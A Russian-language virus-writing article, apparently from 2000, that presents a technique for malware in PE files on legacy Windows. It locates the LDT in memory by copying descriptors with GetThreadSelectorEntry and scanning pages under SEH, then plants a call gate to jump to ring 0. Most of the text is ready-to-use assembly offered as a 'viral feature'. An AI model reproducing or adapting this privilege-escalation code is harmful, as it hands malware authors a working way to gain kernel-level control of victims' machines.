Итак, GreenMonsterом реализована очередная вирусная фича -- поиск LDT в памяти.
Здесь мы будем говорить о применении подобной техники к работе из
PE файлов.
Из PE файлов желательно вызывать только win32 api-функции.
Поэтому мы не будем делать никаких поисков по алиасу: ведь для того, чтобы
обращаться к LDT через селектор (а не линейный 0-based flat-адрес),
мы должны изменить права этого селектора. Таких winapi-функций нет.
Конечно, можно вызвать INT 31 (DPMI-функции) таким образом:
int31: push ecx
push eax
push 0002A0029h ; INT 31 (DPMI services)
call kernel@ord0
Но это было бы слишком просто. Поэтому мы будем искать LDT в памяти.
Что искать? 8-байтовые дескрипторы для известных нам селекторов
легко получаемы функцией GetThreadSelectorEntry.
Вызывается оно так:
call GetCurrentThread ; получить хендл нити
push offset cs_descr ; поинтер на дескриптор
push cs ; селектор
push eax ; хендл нити
callW GetThreadSelectorEntry
or eax, eax
jz __error
Параметры, проверяемые в этой функции:
валидность нити и указателя на результат,
а также граница LDT и бит 2 в селекторе. Это значит, что можно получить
любой дескриптор из LDT, если подавать (селектор = номер * 8 + 4).
Таким образом мы получаем некторое количество дескрипторов, посредством
чего создаем у себя в памяти копию LDT.
А далее, полагая, что LDT начинается на границе 4k-байтной страницы,
используя SEH и сравнивая страницы памяти, перебираем все возможные адреса.
Выглядит это так:
; -- [FIND_LDT.INC] -------------------------------------------------------
LDT_MIN_ADDR equ 080000000h
LDT_MAX_ADDR equ 0FFFFF000h
LDT_SCANSIZE equ 4096
.data
ldtpage db LDT_SCANSIZE dup (?)
.code
; subroutine: find_ldt_prepare
; action: fill internal variables
; output: CF=0 all ok
; CF=1 unknown error
find_ldt_prepare: pusha
xor esi, esi
__cycle: lea eax, ldtpage[esi]
push eax
lea eax, [esi+4] ; bit2=LDT
push eax
callW GetCurrentThread
push eax
callW GetThreadSelectorEntry
or eax, eax
jz __error
add esi, 8
cmp esi, LDT_SCANSIZE
jb __cycle
clc
__exit: popa
ret
__error: stc
jmp __exit
; subroutine: find_ldt_scanmemory
; input: none
; output: CF=0 EBX=LDT base
; CF=1 not found
find_ldt_scanmemory: mov ebx, LDT_MIN_ADDR
__cycle: call find_ldt_testpage
jnc __found
add ebx, 4096
cmp ebx, LDT_MAX_ADDR
jb __cycle
stc
ret
__found: clc
ret
; subroutine: find_ldt_testpage
; input: EBX=any VA
; output: CF=0 address contains LDT
; CF=1 no ldt found or an error occured while accessing memory
find_ldt_testpage: pusha
call __seh_init
mov esp, [esp+8]
__error: stc
jmp __seh_exit
__seh_init: push dword ptr fs:[0]
mov fs:[0], esp
or byte ptr [ebx], 0 ; must be writeable
lea esi, ldtpage
mov edi, ebx
mov ecx, LDT_SCANSIZE/4
cld
rep cmpsd
jne __error
clc
__seh_exit: pop dword ptr fs:[0]
pop eax
popa
ret
; -- [FIND_LDT.INC] -------------------------------------------------------
Далее, разумеется, идет переход в ring-0:
call find_ldt_prepare
jc __error
call find_ldt_scanmemory
jc __error
CGSEL equ 0*8
fild qword ptr [ebx+CGSEL]
push offset ring0
pop [ebx].word ptr 0
pop [ebx].word ptr 6
mov [ebx+2], 0EC000028h
db 9Ah
dd ?
dw CGSEL+111b ; 111b=LDT+Ring3
fistp qword ptr [ebx+CGSEL]
...
ring0: int 3
retf
см. также пример подключения find_ldt.inc.
(x) 2000 Z0MBiE, http://z0mbie.cjb.net
Статья для журнала Top Device
|